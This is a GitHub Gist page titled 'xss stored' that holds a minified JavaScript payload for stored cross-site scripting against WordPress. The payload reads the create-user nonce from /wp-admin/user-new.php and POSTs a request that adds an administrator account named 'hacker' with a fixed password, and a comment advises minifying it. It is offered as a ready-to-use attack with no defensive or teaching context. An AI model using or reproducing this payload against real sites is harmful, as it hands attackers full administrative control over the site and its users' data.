Last active
January 14, 2025 00:22
-
-
Save c0d3x27/e98450ac0f8075f1981c20851c95c060 to your computer and use it in GitHub Desktop.
xss stored
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let ajaxRequest=new XMLHttpRequest();const requestURL="/wp-admin/user-new.php";const nonceRegex=/ser" value="([^"]*?)"/g;ajaxRequest.open("GET",requestURL,!1);ajaxRequest.send();const nonceMatch=nonceRegex.exec(ajaxRequest.responseText);const nonce=nonceMatch[1];const params="action=createuser&_wpnonce_create-user="+nonce+"&user_login=hacker&[email protected]"+"&pass1=hackerpass&pass2=hackerpass&role=administrator";ajaxRequest=new XMLHttpRequest();ajaxRequest.open("POST",requestURL,!0);ajaxRequest.setRequestHeader("Content-Type","application/x-www-form-urlencoded");ajaxRequest.send(params) | |
//Use the js minify option |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment